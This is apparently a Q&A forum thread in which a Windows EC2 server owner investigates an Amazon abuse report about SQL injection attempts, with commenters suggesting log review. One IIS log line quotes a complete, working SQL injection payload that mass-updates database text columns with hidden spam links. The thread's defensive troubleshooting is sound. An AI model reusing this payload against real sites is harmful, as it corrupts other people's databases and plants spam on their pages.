I have an EC2 server (Win2008) which has about 10 sites on it, it's completely locked down apart from ports 80 and 443. I can only access port 3389 and 21 from my home and work IP addresses.

Just now I received the following from Amazon:

We've received a report that your instance(s):

Instance Id: i-XXXXXXX IP Address: XX.XXX.XXX.XXX

has been making illegal intrusion attempts against remote hosts on the Internet; check the information provided below by the abuse reporter.

At 2015-Jun-21 06:52:07 (GMT +8), source IP XX.XXX.XXX.XXX has attempted: * SQL Injection Attempts

So I'm a little taken back by this. I have gone through all the sites and cannot see anything that would indicate a site has been compromised, or that anyone has compromised the server?

Could this be just a mistake or someone has masked their own IP address and used my servers? Any other ideas or tools that I could use to investigate this further to see if there has been a compromise?

Any help appreciated. Thanks.


I have gone through ALL the IIS logs and there is the following

WEBSITENAME\logs\W3SVC50\u_ex150620.log 1493 2015-06-20 19:22:27 GET /downloads-section.aspx d=9');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''i%20dreamed%20my%20husband%20cheated%20on%20me%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.sharepointhelp.org''%2Bchar(47)%2B''pages''%2Bchar(47)%2B''page''%2Bchar(47)%2B''slug%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''why%20does%20husbands%20cheat''%20when%201%20then%20''website''%20else%20''redirect''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20how%20to%20cheat%20wife''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c-- 80 - Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''i+dreamed+my+husband+cheated+on+me+''+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''why+does+husbands+cheat''+when+1+then+''website''+else+''redirect''+end++''+how+to+cheat+wife''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- 200 0 0 15

However, it's trying to append to the querystring d=9 on that page. But I have double checked that code for that site, and if has a numeric check and cast. And if it fails that (Which it does for the above query), it just returns nothing - Which is what the site is doing, and that SQL would not have been executed.

So even more stumped now! Any other pointers appreciated.

  • Where is the rest of the abuse report? – Michael Hampton Jul 8 '15 at 19:38
  • "completely locked down apart from ports 80 and 443" ... does not say much at all about the odds of whether you've been breached or exploited. It's quite difficult to spoof an IP address and successfully establish TCP connections, so the odds are not in your favor that this is a false report. Have you thoroughly reviewed your web server logs from a time window surrounding the timestamp in the abuse report for anything unusual? – Michael - sqlbot Jul 8 '15 at 22:37
  • That's all the abuse report was apart from the Amazon waffle. I've gone through the IIS website logs as best I can by eye, using Notepad++. Is there a better way I can do this? – leen3o Jul 10 '15 at 5:26
  • Use logparser lizard to query logs. – avvi Jul 10 '15 at 10:59
  • I have already parsed all the logs, see updated initial question. – leen3o Jul 10 '15 at 14:20

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.